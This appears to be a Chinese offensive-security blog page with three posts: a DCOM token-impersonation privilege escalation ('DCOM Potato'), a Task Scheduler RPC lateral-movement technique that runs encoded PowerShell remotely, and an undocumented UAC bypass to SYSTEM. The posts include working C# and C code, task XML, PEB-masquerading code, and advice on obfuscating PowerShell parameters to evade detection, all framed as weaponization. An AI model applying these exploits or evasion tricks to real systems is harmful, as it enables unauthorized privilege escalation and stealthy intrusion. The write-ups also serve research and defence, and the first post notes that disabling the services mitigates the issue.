草泥马之家

DCOM Potato

Fri, 09 Dec 2022 11:50:48 +0800

去年猫猫托梦带来的洞，两个EXP原理一样，只有服务不同，所以存在一些微小的差别。

漏洞原理是`McpManagement/PrinterNotify`这两个服务通过`svchost`托管，并公开了自己的DCOM对象。svchost有个特性，在[注册表](https://www.geoffchappell.com/studies/windows/win32/services/svchost/process/index.htm)可以配置自定义的`ImpersonateLevel`，这个值会传递给`CoInitializeSecurity`，从而更改所有远程`IUnknown`默认对外连接的模拟等级。

默认安装的情况下有且只有这两个服务配置了ImpersonateLevel，且均为`RPC_C_IMP_LEVEL_IMPERSONATE`：

#after 12r2
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\print@ImpersonationLevel

#2022 only
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\McpManagementServiceGroup@ImpersonationLevel

所以只要自己实现一个COM对象，在`IUnknown::QueryInterface/Release/Addref`中直接调用`CoImpersonateClient`，就能捕获到一个`SecurityImpersonation`等级的token，之后创建进程什么的就随意了。

核心技巧都是六七年前的东西，取Token可以认为是James Forshaw 15年那个祖传的`CaptureImpersonationToken.cpp`翻版；`PrinterNotify`服务20年decoder-it也提到过，只不过他们对DCOM理解不够深，还局限在`UnmarshalPwn`的思路上，没做这种利用；Token和模拟滥用就更古老了。

当然了，微软一直认为“SeImpersonatePrivilege to LOCAL SYSTEM is a feature by design, not a security boundary”，安心用一段时间还是可以的。

另致防御/应急/PR：“修补”方法是禁用没用的`PrinterNotify/McpManagement`服务，对服务器没有任何影响，哪怕它是个打印服务器。

Github：https://github.com/zcgonvh/DCOMPotato/tree/master

Advanced Windows TaskScheduler Playbook - Part.3 from RPC to lateral movement

Wed, 28 Sep 2022 05:59:21 +0800

0x00 问题

书接上文，在对计划任务组件本机调用的跟踪与研究下，我们将`COM`、`UAC`、`ITaskService`进行了巧妙的结合，从而成功地找到了一个新的UAC Bypass，或者说一个新的攻击面。

现在，不妨继续拓宽思路。回顾第一篇，我们在研究的开始确认了计划任务程序的本质为以`XML`为数据载体的`RPC`接口。按照微软的说法，`RPC`用于“跨进程间调用，不论进程是否在同一台主机上”。

所以，基于`RPC`协议的计划任务天生可用来进行横向移动。

当然，这并不是什么新技术，作为没在八月初猝死的那一批，我们已经再次狠狠地把玩了一番`atexec`、`schtasks`甚至更古老的`at.exe`。这些技巧无一例外利用了计划任务组件RPC接口进行横向移动。在已知的利用方式中，我们可以通过在远程执行命令，写入文件，最终通过共享目录进行读取的方式完成回显；或是通过诸多无文件手段直接上线。

而在实战中，这些或多或少会遇到一些问题。例如文件回显的技巧可能面临共享无法访问、SMB协议不兼容等诸多非常规环境；除了环境限制的因素之外，对抗环境下更多时候还要面临“已知”带来的威胁：一个已知的攻击方式或手法，一定有对应的检测。

这也就进一步导致了一个很实际的问题：

工具也好，武器也好，平台也罢，无论在理论环境下运行的多么完美，实战环境下总可能“不那么好用”。

探究新方法永远是对抗的第一课题。现在，基于实战环境下的需要，我们为自己找了一个新课题：如何实现更为稳定的横移回显/环境探测？

0x01 思考

安全研究绝不是盲目地解决问题。在这里，我们的最终目的是探索一个（某些环境下）相对更好的横向移动技术，技术问题往往能够很容易的分解为多个递进的步骤，所以可以继续细化一些：

横向移动存在哪些阶段？每个阶段中分别涉及哪些技术？每个技术细节存在哪些优劣？

顺着这样的思路来思考，就会带出下面的技术细节：

横向移动需要连接到目标，在网络层面则表现为协议，那么第一个子问题就是：

采用什么协议？

协议承载服务，非漏洞的横向移动本质上是服务功能的`滥用`，所以可以分解出第二个子问题：

我们能够使用服务本身提供的哪些功能，来获取执行权限？

成功获取执行权限后，实战环境下往往需要一个结果反馈，我们得到第三个子问题：

服务本身是否可以直接返回结果？如果不支持，那么需要额外采用哪些手段？

最后，则是实战环境经久不衰的老问题：

上述方式实现是否存在已知的特征？

将上述阶段串联起来，就是我们期望进行的完整流程。这个思路可以用`反序列化链/ROP`做对比，我们把整个步骤视作`Chain`，每一步中任意实现均视作独立且可连接的`Gadget`，对抗点视作`黑名单`，结合已知的知识，很容易得到类似这样一个简单且不完善的表格：

协议	服务	执行	返回	对抗点
SMB	ATSVC	命令	文件共享	cmd /c重定向、文件落地
SMB	SRVSVC	服务	文件共享	cmd /c重定向、文件落地
RPC/DCOM	WMI	命令/服务	文件共享/注册表	cmd /c重定向、SMB依赖、流量UUID

看，威胁情报和安全研究串起来了，Web和对抗也有了联系。

考虑到我们正在研究计划任务，那么随之思考：计划任务能否做到这一点？

根据我们前两篇文章的研究结果，不难回答这一问题：

1.`MS-TSCH`基于`RPC`，无法关闭且多数情况下允许访问。

2.`ExecAction`提供无限制的命令执行，写入文件与注册表后，`ComHandlerAction`提供无限制的代码执行。

3.协议内部通过`UTF-16`编码，将`完整的`XML定义以`原样`传输至客户端。其中`Description`元素可`无限制`放置任何`字符串`内容。

4.流量层面仅能够通过`UUID`捕获握手包，直接报警/阻拦可能影响服务器管理；主机层面进程链全部为`白名单`；`ExecAction`不支持输出重定向所以需要`无文件`手段；`ComHandlerAction`需要无文件手段或其他方式`写入文件`及`注册表`。

所以我们的表格可以添加下面并列的两项：

协议	服务	执行	返回	对抗点
RPC	TSCH	命令	原生协议	流量UUID、无文件攻击检测
RPC	TSCH	命令	原生协议	流量UUID、文件注册表落地

考虑复杂度，基于无文件的`ExecAction`显然优于需要大量落地的`ComHandlerAction`。

所以，我们的问题从`横向移动`顺理成章地转换为`无文件攻击对抗`。

而这项至少十年的技术利用方式非常成熟，变换手段非常多样化，也就意味着我们拥有很多顺畅的实现方式。在当前场景下，我们需要利用无文件攻击执行命令或进行信息探测，并在随后修改计划任务信息作为返回。

显然，各种基于脚本形式的无文件攻击都能做到这一点，例如`mshta`、各种形式的`sct`与`xslt`、`cmd`、以及`PowerShell`。

首先排除`cmd`；其次，考虑到前几种基于Windows脚本宿主（`Windows Script Hosting`）的技术需要对外发起http或smb请求，而文件落地又容易引起某些不必要的问题。所以，通过命令行实现完整脚本功能的`PowerShell`成为首选。

0x02 实现

确认了技术要点，实现起来就完全没难度了。

首先，我们参考前两章的内容，无论是照抄`MSDN`示例、自己编译`IDL`、使用`C# Interop`等等均可直接实现连接至远程目标，要做的无非是在使用RPC时指定正确的`Binding`，并调用`RpcBindingSetAuthInfoEx`：

_SEC_WINNT_AUTH_IDENTITY identity = { 0 };
LPWSTR domain = L"ROOT";
LPWSTR username = L"administrator";
LPWSTR password = L"P@ssw0rd";
identity.Domain = (unsigned short*)domain;
identity.DomainLength = lstrlenW(domain);
identity.Flags = SEC_WINNT_AUTH_IDENTITY_UNICODE;
identity.User = (unsigned short*)username;
identity.UserLength = lstrlenW(username);
identity.Password = (unsigned short*)password;
identity.PasswordLength = lstrlenW(password);
RpcBindingSetAuthInfoExW(hBinding, 0, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_WINNT, &identity, 0, (RPC_SECURITY_QOS*)&qos);

或是在调用`ITaskService::Connect`时指定凭据:

pService->Connect(_variant_t(L"Target"), _variant_t(L"administrator"),_variant_t(L"ROOT"), _variant_t("P@ssw0rd"));

（体会到`抽象`和`透明`的好处了么）

其次，PowerShell提供了针对计划任务的完整对象模型，并提供了`Get-ScheduledTask`、`Set-ScheduledTask`等一系列`Cmdlet`进行操作。我们甚至不需要参考msdn，仅根据本地的cmdlet帮助文档就可以写出类似这样的脚本：

$task=Get-ScheduledTask -TaskName TestTask -TaskPath \;
$task.Description=(iex $task.Description|out-string);
Set-ScheduledTask $task;

在这段脚本中，我们通过`Get-ScheduledTask`获取到远程操控的对象，通过`iex`执行`Description`中保存的命令，考虑到PowerShell一切返回均为对象，所以采用`out-string`将结果转换为可读的字符串，最后进行保存。

Gadget思想的一个重点在于：如果gadget没错，将gadget串联的逻辑也没错，那么最终的结果一定是正确的。所以接下来，我们只需要创建一个计划任务，将`XML`的`/Task/RegistrationInfo/Description`元素内容设置为要执行的命令，将名称设置为`TestTask`，将命令行指定为上面的PowerShell命令，运行这个计划任务，`Description`将变为命令结果。

最后只要读取XML的内容，匹配出`Description`内容即可。

var xd=new XmlDocument();
xd.LoadXml(task.Xml);
Console.WriteLine(xd.SelectSingleNode("/*[local-name()='Task']/*[local-name()='RegistrationInfo']/*[local-name()='Description']").InnerText);

0x03 打磨

通过上面思考至落地的过程，我们有了一个可执行、有效果的技术原型，接下来进行打磨，使之更贴近实战“武器”的状态。

首先，我们利用`ExecAction`创建计划任务，这意味着需要使用命令行传参，所以最好使用`-EncodedCommand`。这实际上和`opsec`无关，主要目的是为了处理转义可能带来的一系列问题。

在对抗层面，我们知道PowerShell处理参数的逻辑是`根据前缀`执行`不区分大小写`的匹配，所以实际上`-EncodedCommand`除了常见的`-e`和`-enc`，还有类似以下几万种写法：

-eN
-eNCo
-Encode
....

计划任务在后台运行，所以最好加上`-NonInteractive`，同样的，这个参数也有以下几万种写法：

-nonInt
-nOnInTe
....

对付一些没有词法分析的常规防御手段，这些基本上足够了。

接下来，由于我们在进行横向移动，所以并不能确定命令在目标环境的执行时间，所以需要加一个轮询。

轮询的退出条件绝不能`睿智地`直接判断是否修改了Description，这实际上也不是不能用，但在`脚本出错`的情况下等于死循环。

`IRegisteredTask`对象提供了表示当前任务状态的`State`属性，任务运行结束后将由`Running`变为`Ready`，所以只要轮询读取任务状态即可。

while (task.State != TaskState.Ready)
{
    task = folder.GetTask(taskname);
    Thread.Sleep(1000);
}

接着是一些锦上添花的可选`opsec`手段，因为命令内容中并没有常见的（我特指`下载执行`这个被很多规则视作Powershell`唯一`滥用方式的）强特征，所以几乎不用处理。

同样的，没什么杀软会扫任务计划的`Description`属性（无论`对象`、`内存`还是`Xml`），所以默认不进行处理也是足够的。

当然，这些都是后续，等到这个方法被捕获了部分`“强特征”`，到时候处理一下`iex`，对`返回`和`命令`进行编码就会变为新的对抗点等待挖掘。

最后，不要忘记`iex`实际上执行的是PowerShell脚本，所以，这是一个`远程PowerShell`（回忆一下`WinRM`），也就意味着我们不光可以执行`命令行程序`：

也可以执行任意`Cmdlet`：

甚至于更为复杂的`脚本`：

也即意味着，一切`.Net`能做到的事情，我们都能在`远程（Remotly）`、`无文件（fileless）`、`无感知（undetectable）`地进行操作。再进一步修改我们甚至能够做到真正基于`MS-TSCH`实现的`交互式（Interactive）`远程PowerShell。

（为什么上面说可能脚本出错？这里就是了）

0x04 反思

至此，和计划任务相关的内容基本结束了。接下来我们跳出计划任务角度，站在应用场景的角度来回顾曾经我们可用的方案。一方面做个简单的总结，另一方面，想一想如何合理地进行使用。

在横向移动这个场景下，除了漏洞与计划任务之外，最为经典好用的技术要数`PsExec`和`WMI`这两种。

为什么PsExec经久不衰？除了微软签名带来~~曾经的~~opsec之外，还有着通过域环境下默认必须开启的`SMB`协议，实现了单协议的横移与回显结合的特点，所以在相当长的时间用作内网渗透的首选。哪怕是现在，基于`Impacket`或是`API`的自修改版PsExec依然能起到不俗的作用。

为什么后续换成`WmiExec`？因为WMI服务同样默认开启，且基本上不存在关闭的可能，通过`stdregprov`依然可以达到同协议回显的目的，从而变为基于`DCOM`协议横移的首选。

现在，我们多了`基于RPC的taskexec`这个技术选择。

是的，这仅仅是一个技术补充，而非替代品。

为什么？

因为每一种攻击技术，必定有着不同的`应用范围/环境要求`，同时必定存在各种各样的`强特征`。

所有声称无感的(`undetectable`)绕过(`bypass`)/逃逸(`evasion`)方式，只是没有捕获强特征罢了

`强特征`意味着被检测、被追溯的可能。

但没有哪家产品敢于声称100%检测`某一技术与其变种`。

也没有哪家产品能够做到100%无需`人为`判断/处置。

而且检测和追溯需要`人`。

更何况验证自动化的结果进行处置同样需要`人`。

在我们从`钓鱼的`变成`钓鱼佬`之前，几乎不可能见到这个场景下可以替代人工的AI大规模商用。

所以，每一个备选项在实战中，都是通向成功的一个Gadget。更深入一些，在最初0x01列出的`mshta`、`sct`、`ComHandler`等等未选择的实现方式同样也是备选项，都是在实现`基于任务计划的横向移动`这一目的的过程中可用的Gadget。

甚至于将这些备选项重新组合，还能得到另外一大堆很好用的`chain`

而本文所述内容，则是在`对抗-内网渗透-域-RPC`这个更大的行为链条中的一个更大的gadget。

0x05 总结

这是本系列第三篇，我们从应用场景入手，随后进行可行性分析，接下来根据分析的内容进行原型实验，最后结合实战经验，打磨出一个全新的横向移动工具。

与人斗，其乐无穷。安全研究实质上是人与人之间的博弈，从纯粹技术的角度看来，每一个`精通`、`掌握`的技术点都应当能够变为我们的`Gadget储备`，并结合我们长期积累的`经验`，在过程中`动态地`创造一条合理的`Chain`，最终在实战中发扬光大。

实战应用应当是知识的有机组合，不存在一劳永逸绝对成功的技巧，但知识的积累与理解能让我们更加轻松。

当然，如果你就是喜欢无脑12345，那权当我什么都没说

文章中的代码可以在Github找到，这次是一个没什么坑的原型，可以直接用，但最好自行修改一些特征防止撞车。

还是那句话，希望这篇文章能在技术点之外为各位带来启发。

Advanced Windows Task Scheduler Playbook - Part.2 from COM to UAC bypass and get SYSTEM dirtectly

Mon, 20 Jun 2022 22:38:43 +0800

从本文起，专有名词将以官方英文原文着重标记。

0x00 思考

让我们上一章通过对`MS-TSCH`进行分析理解，大致明确了微软关于计划任务程序的设计思路：以文档化XML格式作为描述、RPC协议为基础，在公开函数式RPC调用的同时，通过COM Helper实现面向对象。

编程思想与设计模式才应当是最基础的安全技术，微软在计划任务程序设计中明显体现了一个`进化`的思想，从`面向过程`进化到`面向对象`，这个过程就是常说的`封装`。

让我们继续用常见的Web角度进行类比，可以理解为：

PHP5进化至PHP7。

PHP/ASP进化至Java/.Net。

JS进化至TS/ES6。

（在开发与设计层面，一些思想是统一且几乎不会改变的）

和渗透时常用的脚本或工具不同，在一个完整的系统中，无论是一套封装后的组件，或是一组完善的协议实现，其本身并没有`实现`之外的任何意义。只有在使用者（或称“调用方”）根据某些`业务逻辑`进行调用，随之多个完整的`业务功能`按照相关逻辑组成一套系统，此时的组件才称得上“有意义”。

（如果你认同这个观点，那么所看到的每一个渗透技巧事件追踪漏洞分析都能找到例子进行类比。毋庸置疑，每一个）

计划任务程序作为文档化组件之一，我们当然可以直接根据文档进行调用。无论是直接利用十五年前微软提供的C/C++或者VBS，或是进一步利用十四年前vs2008附带的的C# Interop，再或是利用十年前用烂的的PowerShell都能够`直接`产生一些`红队（Redteam）`、`武器化（Weaponize）`、`渗透测试工具（Pentesting Tools）`。

感谢微软提供了丰富的API为渗透测试带来方便，但回归研究者思路，我们不该忽略这一点：计划任务作为重要系统组件之一，被广泛应用于系统多个功能模块中。

所以，让我们来思考一组问题：

有哪些自带功能调用了计划任务？

这个功能可以起到什么作用？

这个功能是否进行了组件化，即可以通过某种方式进行调用？

是否存在利用或滥用的可能？

0x01 基础

在回答这个问题之前，让我们重温COM基础。

微软提供了非常完善的基础知识文档，以及配套的示例代码，这些文档和代码的历史至少可以追溯至Windows 2000的时代。

（我不想在查找资料上花太多篇幅。根据个人经验，花费两天时间，拿出挖洞找链的劲头，配合写论文找参考资料的态度，将原文从头到尾啃一遍，比看十篇技术文章都要有用的多。包括你在看的这篇）

参考文档顺便查漏补缺，我们重新回忆一下最为基础的知识点：

1.在设计层面，COM模型分为`接口`与`实现`。

例如计划任务示例代码中的`ITaskService`。

2.区分COM组件的唯一标识为`Guid`，分别为针对接口的`IID（Interface IDentifier）`与针对类的`CLSID（CLaSs IDentifier）`。

例如`CLSID_TaskScheduler`定义为`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`。

3.COM组件需要在注册表内进行注册才可进行调用。通常情况下，系统预定义组件注册于`HKEY_LOCAL_MACHINE\SOFTWARE\Classes`，用户组件注册于`HKEY_CURRENT_USER\SOFTWARE\Classes`。`HKEY_CLASSES_ROOT`为二者合并后的视图，在系统服务角度等同于`HKEY_LOCAL_MACHINE\SOFTWARE\Classes`。

例如计划任务组件的注册信息注册于`HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}`。

4.Windows最小的可独立运行单元是进程，最小的可复用的代码单元为类库，所以COM同样存在`进程内（In-Process）`与`进程外（Out-Of-Process）`两种实现方式。多数情况下，进程外COM组件为一个exe，进程内COM组件为一个dll。

例如计划任务的COM对象为进程内组件，由`taskschd.dll`实现。

5.为方便COM组件调用，可以通过`ProgId（Programmatic IDentifier）`为`CLSID`指定别名。

例如计划任务组件的ProgId为`Schedule.Service.1`。

6.客户端调用`CoCreateInstance`、`CoCreateInstanceEx`、`CoGetClassObject`等函数时，将创建具有指定`CLSID`的对象实例，这个过程称为`激活（Activation）`。

例如微软示例代码中的`CoCreateInstance(CLSID_TaskScheduler,....)`。

7.COM采用`工厂模式`对调用方与实现方进行解耦，包括进程内外COM组件激活、通信、转换，`IUnknown::QueryInterface`和`IClassFactory`始终贯穿其中。

例如微软示例代码中的一大堆`QueryInterface`。

现在，我们有了对COM的基本认知，接下来要在一个庞大、复杂的操作系统之中，跟踪一个微小的COM对象调用了。无论多么复杂的系统，归根结底由人开发，由编译器编译。我们知道Windows的编译器为VS，语言为微软风格的C/C++，开发者为三哥。

那么来到思考时间：你是一名三哥程序猿，恒河水使你的代码和你的身体一样无比健壮。现在，你要用VS建立一个C/C++项目，里面调用计划任务做一些事。

-你会怎么写？

-`#include <taskschd.h>`

-为什么？

-“标准”示例如此。

很好，我们得到了第一种方式：

在所有系统组件中搜索字符串形式的`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，以及其二进制表现形式。

然后重新把思维切换回安全领域，暂时客串一番样本分析：你是一名应急响应工程师，陆莲花胃脑虫被你里里外外反反复复上上下下肆意玩弄得不成马形。现在你出台到了客户内网分析一批恶意样本，已知其中某样本会创建计划任务，在没自动化沙箱的情况下怎样能把它揪出来进行后续分析？

-那TM还用说？ProcMon开起来、某绒刀砍它。

于是我们有了第二种方式：

跟踪注册表`HKEY_CLASSES_ROOT\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32`的读取，通过日志、Hook、劫持等等方式获取调用栈。

最后，把思维切到我们最熟悉的安全开发/红蓝对抗：现在洋大人发了个框架，能随意拓展巨牛逼，能过宇宙杀软加计划任务巨好用，还有源码能抄简直是洋菩萨。唯一一个问题：不知道在哪调了计划任务，就看到一堆配置文件一堆设计模式。

-直接扔到IDE里面搜CLSID、IID、ProgId反过去找引用啊

我们拿到了第三种方式：

考虑到工厂与动态调用，在配置文件等`静态数据`中搜索`0F87369F-A4E5-4CFC-BD3E-73E6154572DD`，以及其二进制表现形式。

0x02 发现

现在，我们有三种可行方案来进行跟踪了。

思考一下三种方式的优劣：第二种动态追踪的方式能够直观的找到调用方，但一个前提是必须存在活动的调用。

计划任务功能并不是一个需要频繁调用的功能，Windows的复杂性也决定了无法手动访问每一个功能，所以不妨暂时搁置。

第一三种均可归结为静态查找，考虑到我们研究的目标基于COM，而COM绝大多数配置基于注册表，所以首先在注册表这个最大的公共配置文件内进行搜索，可以得到如图所示结果：

C:\>reg query HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0} /s
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}
(默认)    REG_SZ    Virtual Factory for MaintenanceUI
AppId    REG_SZ    {A6BFEA43-501F-456F-A845-983D3AD7B8F0}
LocalizedString    REG_EXPAND_SZ    @%SystemRoot%\System32\MaintenanceUI.dll,-1
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\Elevation
Enabled    REG_DWORD    0x1
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\InProcServer32
(默认)    REG_EXPAND_SZ    %SystemRoot%\System32\shpafact.dll
ThreadingModel    REG_SZ    Apartment
HKEY_CLASSES_ROOT\CLSID\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}\VirtualServerObjects
{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}    REG_SZ

我们发现了一个可疑的东西：

一个由`%SystemRoot%\System32\shpafact.dll`实现的未文档化COM组件`A6BFEA43-501F-456F-A845-983D3AD7B8F0`。

一个未文档化的自定义注册表项`VirtualServerObjects`，其值包含计划任务组件CLSID。

`Elevation@Enabled=1`，意味着可以进行UAC自动提升。

接下来要做的，就是对这个组件进行分析，找到其设计层面的意义，以及探寻是否存在利用的可能。

0x03 分析

接下来，我们开始分析COM所实现功能，以及是否可以利用。

`%SystemRoot%\System32\shpafact.dll`代码量极少，让我们用五分钟时间进行快速分析。首先根据https://docs.microsoft.com/en-us/windows/win32/api/combaseapi/nf-combaseapi-dllgetclassobject，COM通过固定导出函数`DllGetClassObject`创建实例，`shpafact.dll`创建了`CClassFactory`作为工厂类：

`CClassFactory`作为工厂支持创建多个对象，我们的目标组件`A6BFEA43-501F-456F-A845-983D3AD7B8F0`并非已知的两个CLSID之一，将进入最下方`CElevatedFactoryServer::CreateInstance`分支：

`CElevatedFactoryServer::CreateInstance`方法最终将直接返回`CElevatedFactoryServer`对象实例：

`CElevatedFactoryServer`对象继承自`IUnknown`，且仅有一个对象方法`ServerCreateInstance`：

`ServerCreateInstance`方法签名为`HRESULT thiscall ServerCreateInstance(REFCLSID,REFIID,PVOID*)`，当`REFCLSID`参数已在`VirtualServerObjects`注册表项注册的情况下，将直接创建指定`CLSID`的对象：

根据`QueryInterface`方法可得到IID_ElevatedFactoryServer为`804bd226-af47-4d71-b492-443a57610b08`：

此时我们拿到了COM调用必需的`CLSID`、`IID`、`虚函数表`、`方法签名`，稍作整理即可得到以下`IDL`：

[uuid(804bd226-af47-4d71-b492-443a57610b08)]
interface IElevatedFactoryServer : IUnknown {
HRESULT _stdcall ServerCreateInstance(REFCLSID rclsid,REFIID riid,LPVOID* ppvobj);
};
[uuid(A6BFEA43-501F-456F-A845-983D3AD7B8F0)]
coclass ElevatedFactoryServer {
interface IElevatedFactoryServer;
};

0x04 调用

获取到`IDL`之后，直接使用合适的语言进行调用即可，例如转换为C#等价`Interop`代码：

[Guid("804bd226-af47-4d71-b492-443a57610b08")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IElevatedFactoryServer
{
[return: MarshalAs(UnmanagedType.Interface)]
object ServerCreateElevatedObject([In, MarshalAs(UnmanagedType.LPStruct)] Guid rclsid, [In, MarshalAs(UnmanagedType.LPStruct)] Guid riid);
}

我们需要创建`提升后的（Elevated）`COM对象，所以必须使用`CoGetObject`结合`Elevation Moniker`进行激活：

BIND_OPTS3 opt = new BIND_OPTS3();
opt.cbStruct = (uint)Marshal.SizeOf(opt);
opt.dwClassContext = 4;
var srv = CoGetObject("Elevation:Administrator!new:{A6BFEA43-501F-456F-A845-983D3AD7B8F0}", ref opt, new Guid("{00000000-0000-0000-C000-000000000046}")) as IElevatedFactoryServer;

随后调用`ServerCreateElevatedObject`方法获取`ITaskService`实例：

var svc = srv.ServerCreateElevatedObject(new Guid("{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}"), new Guid("{00000000-0000-0000-C000-000000000046}")) as ITaskService;

这个`ITaskService`实例实际上在提升后的进程中运行，所以可使用`TASK_RUNLEVEL_HIGHEST`标记创建以完整令牌运行的计划任务，这等价于将xml文件`Task\Principals\Principal\RunLevel`的值指定为`HighestAvailable`：

<Principals>
    <Principal id="Author">
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

使用此`xml`进行注册：

svc.Connect();
var folder = svc.GetFolder("\\");
var task = folder.RegisterTask("Test Task", xml, 0, null, null, TaskLogonType.InteractiveToken, null);
task.Run(null);

以及不要忘记对当前进程`PEB`进行Patch：

var fake = "explorer.exe";
var fake2 = @"c:\windows\explorer.exe";
var PPEB = RtlGetCurrentPeb();
PEB PEB = (PEB)Marshal.PtrToStructure(PPEB, typeof(PEB));
bool x86 = Marshal.SizeOf(typeof(IntPtr)) == 4;
var pImagePathName = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x38 : 0x60));
var pCommandLine = new IntPtr(PEB.ProcessParameters.ToInt64() + (x86 ? 0x40 : 0x70));
RtlInitUnicodeString(pImagePathName, fake2);
RtlInitUnicodeString(pCommandLine, fake2);

PEB_LDR_DATA PEB_LDR_DATA = (PEB_LDR_DATA)Marshal.PtrToStructure(PEB.Ldr, typeof(PEB_LDR_DATA));
LDR_DATA_TABLE_ENTRY LDR_DATA_TABLE_ENTRY;
var pFlink = new IntPtr(PEB_LDR_DATA.InLoadOrderModuleList.Flink.ToInt64());
var first = pFlink;
do
{
    LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
    if (LDR_DATA_TABLE_ENTRY.FullDllName.Buffer.ToInt64() < 0 || LDR_DATA_TABLE_ENTRY.BaseDllName.Buffer.ToInt64() < 0)
    {
        pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
        continue;
    }
    try
    {
        if (Marshal.PtrToStringUni(LDR_DATA_TABLE_ENTRY.FullDllName.Buffer).EndsWith(".exe"))
        {
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x24 : 0x48)), fake2);
            RtlInitUnicodeString(new IntPtr(pFlink.ToInt64() + (x86 ? 0x2c : 0x58)), fake);
            LDR_DATA_TABLE_ENTRY = (LDR_DATA_TABLE_ENTRY)Marshal.PtrToStructure(pFlink, typeof(LDR_DATA_TABLE_ENTRY));
            break;
        }
    }
    catch { }
    pFlink = LDR_DATA_TABLE_ENTRY.InLoadOrderLinks.Flink;
} while (pFlink != first);

编译执行，不出意外的话我们将以提升后的身份运行xml中指定的命令（这里是cmd）：

至此，我们成功的发现了一个未公开的`UAC Bypass`。

但这并不是结束。我们前面提到了修改XML文件`Principal`节点的值来注册以完整令牌运行的计划任务，而这个XML节点架构定义记录于`MS-TSCH 2.5.6 Principal Schema Part`。

根据文档所述，`Principal`节点可包含子节点`UserId`，用于提供计划任务执行时的用户身份信息，其格式可以为`用户名`、`SID`、`UPN`、`FQDN`。

所以我们可以在XML中指定`UserId`为`SYSTEM`：

<Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
</Principals>

随后，我们指定的命令将直接以`SYSTEM`身份运行：

即：我们通过一次`无文件`的`UACBypass`，`直接`获取到`SYSTEM`权限。

0x05 原理

至此，单纯的“安全研究”至武器化落地已经结束了。

但从纯粹知识的领域，这还不够。

请把思维暂时回溯至*0x01 基础*一节，重新打开MSDN，对比完整的目标注册表项，在最后来为本文补充一个最为重要的理论依据。

我们知道经过UAC提升的COM对象需要使用`CoGetObject`函数，结合`Elevation Moniker`进行激活，这个行为记录在https://docs.microsoft.com/en-us/windows/win32/com/the-com-elevation-moniker。

参考文章代码，我们注意到在微软的示例中采用`CLSCTX_LOCAL_SERVER`作为激活上下文标记，这表示要求DCOMLaunch创建一个新的进程外COM对象，`A6BFEA43-501F-456F-A845-983D3AD7B8F0`对象仅配置了`InProcServer32`，这将导致`代理激活（Surrogate Activation）`。

关于代理激活有两个重要的点：首先从安全研究角度，配置了`APPID`的代理激活往往存在自定义权限检查。

参考文档https://docs.microsoft.com/en-us/windows/win32/com/launchpermission与https://docs.microsoft.com/en-us/windows/win32/com/accesspermission，默认隐式权限检查由注册表项`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@LaunchPermission`、`HKEY_LOCAL_MACHINE\SOFTWARE\Classes\AppID\{APPID}@AccessPermission`共同决定，其值为二进制格式表示的安全描述符`Security Descriptor(SD) binary form`。

所以我们需要确认能够进行调用。二进制格式的安全描述符并非可读格式，采用Powershell进行解析后输出：

$x=get-itemproperty 'hklm:\software\classes\appid\{A6BFEA43-501F-456F-A845-983D3AD7B8F0}'
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.LaunchPermission,0)).DiscretionaryAcl|fl
(new-object System.Security.AccessControl.RawSecurityDescriptor($x.AccessPermission,0)).DiscretionaryAcl|fl

将得到类似下面的结果：

BinaryLength       : 20
AceQualifier       : AccessAllowed
IsCallback         : False
OpaqueLength       : 0
AccessMask         : 3
SecurityIdentifier : S-1-5-4
AceType            : AccessAllowed
AceFlags           : None
IsInherited        : False
InheritanceFlags   : None
PropagationFlags   : None
AuditFlags         : None

参考https://docs.microsoft.com/en-us/windows/win32/secauthz/well-known-sids，`S-1-5-4`对应`NT AUTHORITY\INTERACTIVE`，任何通过交互式登录的用户都将授予该组身份，通过`whoami /groups`也能够确认这一点：

whoami /groups
组信息
-----------------
组名                                   类型   SID          属性
====================================== ====== ============ ==============================
Everyone                               已知组 S-1-1-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114    只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544 只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559 必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4      必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1      必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11     必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15     必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113    必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0      必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication       已知组 S-1-5-64-10  必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

